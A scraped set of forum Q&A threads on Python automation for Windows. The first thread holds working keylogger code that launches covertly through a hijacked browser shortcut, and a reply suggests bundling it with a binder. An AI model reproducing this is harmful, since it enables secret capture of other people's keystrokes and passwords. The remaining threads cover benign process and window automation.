Sorry for the ignorance, but I could not find a solution!! p.s.: I'm "hacking to learn and
not learning to hack" -Tinkernut (youtube_channel)
I had a simple keylogger.pyw and a notepad batch file so that when I clicked on a specific browser it would open both the browser and the keylogger (I altered the path to the browser's shortcut so that it would open the batch file).
Is it possible to do this without having to write an external batch file, and to compile the program so that it runs on the computer without python installed on WINDOWS platform 7 and 8?
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\...\\Documents\\log.txt'
def OnKeyboardEvent (event) :
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
import os
print os.system('C:\\Users\\...\\Google\\Chrome\\Application\\chrome.exe')
I'm not sure about this. But, one thing that can help you is if u r converting python to windows executable, then bind those 2 programs (Your windows Exe file and + the program u want to run ) using binder.
Related
I am trying to open a window application when it is not opened in the background. To do that, I need to check if the process is running in the background. I am using pymen to check if the calc.exe is running, and if it's not, I will use subprocess to open a new calc.exe window. However, the code that I am using is not detecting if my calc.exe is actually running or not. It will always be Calculator is Not Running...
from pymem import Pymem
try:
pm = Pymem('calc.exe')
print('Calculator Started And Is Running....')
except:
print ('Calculator Is Not Running....')
I believe that the code is going through the details tab as shown as below to check if calc.exe is running or not. However, I can't find it in here as well even though the calculator app is running.
The detail tab in Task Manager
App like Notepad and Chrome are working fine but calculator. I have no idea why it is not working for calculator.
From Microsoft Calculator Windows 10:
The Calculator in non-LTSC editions of Windows 10 is a Universal
Windows Platform app. In contrast, Windows 10 LTSC (which does not
include universal Windows apps) includes the traditional calculator,
but which is now named win32calc.exe. … Both the universal Windows
app and LTSC's win32calc.exe register themselves with the system as
handlers of a 'calculator:' pseudo-protocol. … All Windows 10
editions (both LTSC and non-LTSC) continue to have a calc.exe, which
however is just a stub that launches (via ShellExecute) the
handler that is associated with the 'calculator:' pseudo-protocol.
In other words, calc.exe is merely a wrapper which launches another executable:
import psutil
import subprocess
import time
def list_calc(phase):
print(phase)
for proc in psutil.process_iter():
if proc.name().startswith( PROCNAME):
print( proc.name())
print( proc.cmdline()[0])
if proc.name() == 'CalculatorApp.exe':
proc.kill()
PROCNAME = 'Calc'
list_calc('- before:')
calc = subprocess.Popen([PROCNAME+'.exe'])
time.sleep(3) # wait until calculator window appears
list_calc('- after:')
Result: ver && .\SO\75191242.py
Microsoft Windows [Version 10.0.19045.2486]
- before:
- after:
CalculatorApp.exe
C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2210.0.0_x64__8wekyb3d8bbwe\CalculatorApp.exe
I'm trying to create a program that takes your highlighted text then inverses the case of it using a python script.
The logic is essentially: get highlighted text into clipboard, do the transformation, then return the text to the clipboard and paste it.
I'm trying to execute this by creating a batch file that runs from an AutoHotKey hotkey, but the thing is the batch file has to run without popping up the cmd window because then it changes the window focus and it can't properly get the highlighted text.
The code works when I run it inside of PyCharm, and I can get the file to run from the hotkey, but the window still pops very briefly thus ruining the process.
The course I'm going through said to put #pyw instead of #py at in the batch file to make it run through python windowless, but still the window pops up very briefly. I can't seem to find a solution that works.
I tried to run it through a .vbs file but that didn't work the way I wanted it to. I checked to make sure pythonw.exe is working, and it is. I tried to change the file name to .pyw in the batch code.
What am I doing wrong? Is it with my python code, or my batch code? I don't know.
My Batch Code:
#pyw "C:\Users\offic\PycharmProjects\test\automate the boring stuff\projects\change case of selected.pyw" %*
My Python Code:
#! python 3
import pyperclip
import pyautogui as pya
import time
import sys
#mystery code I tried to make work as a solution
# import ctypes
# import os
# import pywin32_system32
#
# hwnd = ctypes.windll.kernel32.GetConsoleWindow()
# if hwnd != 0:
# ctypes.windll.user32.ShowWindow(hwnd, 0)
# ctypes.windll.kernel32.CloseHandle(hwnd)
# _, pid = pywin32.GetWindowThreadProcessId(hwnd)
# os.system('taskkill /PID ' + str(pid) + ' /f')
def copy_clipboard():
pyperclip.copy("") # <- This prevents last copy replacing current copy of null.
pya.hotkey('ctrl', 'c')
time.sleep(.01) # ctrl-c is usually very fast but your program may execute faster
return pyperclip.paste()
clipboard = copy_clipboard()
try: #check if there is an argument
# convert clipboard to uppercase if arg is 'u'
if sys.argv[1] is 'u':
pyperclip.copy(clipboard.upper())
# convert clipboard to lowercase if arg is 'l'
elif sys.argv[1] is 'l':
pyperclip.copy(clipboard.lower())
#else just swap the case of every character if the arg is not u or l
else:
pyperclip.copy(clipboard.swapcase())
#if there are no args just swap the case of every charater
except:
# put swapped string to clipboard
pyperclip.copy(clipboard.swapcase())
pya.hotkey('ctrl', 'v')
# hELLO
My AutoHotKey Code (if this somehow matters):
^+q::
Run, "C:\Users\offic\Documents\MY BATCH FILES\swapcase.bat"
return
^+q::
Run, "C:\Users\offic\Documents\MY BATCH FILES\swapcase.bat",, Hide
return
AutoHotkey Run Options: Hide.
It would be the running of swapcase.bat causing the console window to show. Doubt it is pyw running pythonw.exe as both being Graphical User Interfaces (GUI) instead of a Console User Interface (CUI) that cmd.exe is, as it interprets swapcase.bat.
You can run your Python script (with .pyw extension) from AHK:
Run script.pyw, c:\mydir
c:\mydir is the location of the Python script.
This will work if Python is associated with .pyw extension of course.
I have 3 different Windows 10 virtual desktops. When the computer starts up, I want python to load all of my applications in the different virtual desktops.
Right now I can only start things in Desktop 1. How do I tell python to launch an app but in Desktop 2 and 3?
I'm using python 3.6.
How do I tell python to launch an app but in Desktop 2 and 3?
This can be achieved by launching your applications with subprocess.Popen(), then changing virtual desktop by calling GoToDesktopNumber() from VirtualDesktopAccessor.dll with the help of ctypes, and launching your applications again. Tested with 64-bit Windows 10 Version 10.0.18363.720.
VirtualDesktopAccessor.dll by Jari Pennanen exports the functions a part of the mostly undocumented (by Microsoft) Virtual Desktop API. Put the dll in the current working directory.
import ctypes, time, shlex, subprocess
def launch_apps_to_virtual_desktops(command_lines, desktops=3):
virtual_desktop_accessor = ctypes.WinDLL("VirtualDesktopAccessor.dll")
for i in range(desktops):
virtual_desktop_accessor.GoToDesktopNumber(i)
time.sleep(0.25) # Wait for the desktop to switch
for command_line in command_lines:
if command_line:
subprocess.Popen(shlex.split(command_line))
time.sleep(2) # Wait for apps to open their windows
virtual_desktop_accessor.GoToDesktopNumber(0) # Go back to the 1st desktop
command_lines = r"""
"C:\Program Files (x86)\Google\Chrome Beta\Application\chrome.exe"
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\StudyGuide.pdf"
"C:\Program Files\Mozilla Firefox\firefox.exe"
"C:\Program Files\VideoLAN\VLC\vlc.exe"
""".splitlines()
launch_apps_to_virtual_desktops(command_lines)
The time.sleep() calls are needed because Windows doesn't change virtual desktops instantly (presumably because of animations), and to give the processes time to create windows. You might need to tweak the timings.
Note that some applications only allow one instance/process, so you can't get multiple separate windows for each virtual desktop (e.g. Adobe Reader with default settings).
Another strategy I tried was launching the applications, sleeping for a bit to allow the windows to be created, then calling MoveWindowToDesktopNumber() to move every window created by the new processes to different virtual desktops. The problem with that is, for applications like Chrome or Firefox, the new process is immediately closed if an existing process already exists, so it doesn't move the new windows (which actually belong to another, older process) to another desktop.
import ctypes, time, shlex, subprocess
from ctypes.wintypes import *
from ctypes import windll, byref
def get_windows(pid):
current_window = 0
pid_local = DWORD()
while True:
current_window = windll.User32.FindWindowExA(0, current_window, 0, 0)
windll.user32.GetWindowThreadProcessId(current_window, byref(pid_local))
if pid == pid_local.value:
yield current_window
if current_window == 0:
return
def launch_apps_to_virtual_desktops_by_moving(command_lines, desktops=3):
virtual_desktop_accessor = ctypes.WinDLL("VirtualDesktopAccessor.dll")
for i in range(desktops):
pids = []
for command_line in command_lines:
if command_line:
args = shlex.split(command_line)
pids.append(subprocess.Popen(args).pid)
time.sleep(3)
for pid in pids:
for window in get_windows(pid):
window = HWND(window)
virtual_desktop_accessor.MoveWindowToDesktopNumber(window, i)
command_lines = r"""
"C:\Program Files (x86)\Google\Chrome Beta\Application\chrome.exe"
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\StudyGuide.pdf"
"C:\Program Files\Mozilla Firefox\firefox.exe"
"C:\Program Files\VideoLAN\VLC\vlc.exe"
""".splitlines()
launch_apps_to_virtual_desktops_by_moving(command_lines)
TL; DR: use VDesk?
It appears that in-built support for this in Windows was lacking a few years back:
"Are you referring to task view feature "Multiple desktops" in Windows 10?
If yes, please be informed that you cannot have apps/programs automatically startup in different desktops.
-- A. User
I don't know of a python-native approach, but there's a couple of answers on the topic more generally that suggest VDesk -- https://github.com/eksime/VDesk
VDesk is a free, open source, program for the Windows 10 operating system that extends a system's virtual desktop functionality.
-- MSPO
This plus the usual methods to invoke external programs from python (i.e. the subprocess module) should hopefully get the effect you want. Good luck.
I use a piece of software that when you close, saves your current configuration, however, next time I open the software by clicking on a file associated with it, it tries to run that file through the same configuration, which I don't want. I have therefore created a python script to first open up the app data for that program, reset the configuration back to default, and then open the program again.
This works fine if I just try to load the program without a file, but I would like to be able to click on a file associated with that program (usually I can just double click on the file to open it in the program), then use the 'open with' function in windows to select my script, and then open the file in the program once my script has cleared out the last configuration.
Currently, if I do this, it clears the configuration and opens the program but with no file loaded.
Essentially I am asking how I can pass the file to python, and then get python to pass that file to the third party application.
I am using the 'os.startfile('link to .exe') function to open the program, but how do I get the file path into python as an argument/string by clicking on the file and opening it with my script?
path = 'path/to/file/selected' # passed to python from selecting the file in windows explorer before starting script
# execute some code
os.startfile('path')
I'm a bit of a beginner when it comes to python so any help would be appreciated!
Using python 3.6 on windows 10
You can access command line arguments passed to your script using sys.argv. As long as you want to pass these arguments to some third-party application(which is an executable binary) you should use the subprocess module as os.startfile is meant to start a file with its associated application.
import sys
import subprocess
def main():
if len(sys.argv) == 1:
path = sys.argv[0]
subprocess.run(['/path/to/my.exe', path])
else:
print('Usage myscript.py <path>')
if __name__ == "__main__":
main()
If I understand your question correctly it could be done in the following fashion, relying on the subprocess module:
subprocess.Popen(["/path/to/application", "/path/to/file/to/open"])
See documentation for more details.
So I have been trying to use Python pywin32 package to send inputs to an interactive console based win32 exe which gives me a bunch of options when executed and based on the input keyed in by the user subsequent menus are displayed. After some reading around on the net I did try to execute the following code but it is still unable to send the input to the program, so if anyone has been able to achieve something similar, please let me know.
the code I have been trying is as follows:
import win32com.client
def main():
shell = win32com.client.Dispatch("WScript.Shell")
shell.run('cmd /K cd "E:\\Documents and Settings\\Owner\\Desktop\\pds\\" && CONVERT.EXE')
shell.AppActivate('E:\\Documents and Settings\\Owner\\Desktop\\pds\\CONVERT.EXE')
print("sending keys...")
shell.SendKeys("trial.bin")
shell.SendKeys("{ENTER}")
if __name__ == '__main__':
main()
I've made small improvement in pywinauto library. Now it can deal with console window like so:
import pywinauto
app = pywinauto.Application.start('cmd.exe', wait_for_idle=False)
app.Window_().TypeKeys('cmd.exe /?{ENTER}', with_spaces=True, pause=0.1)
app.Window_().TypeKeys('{ENTER 7}', pause=0.1)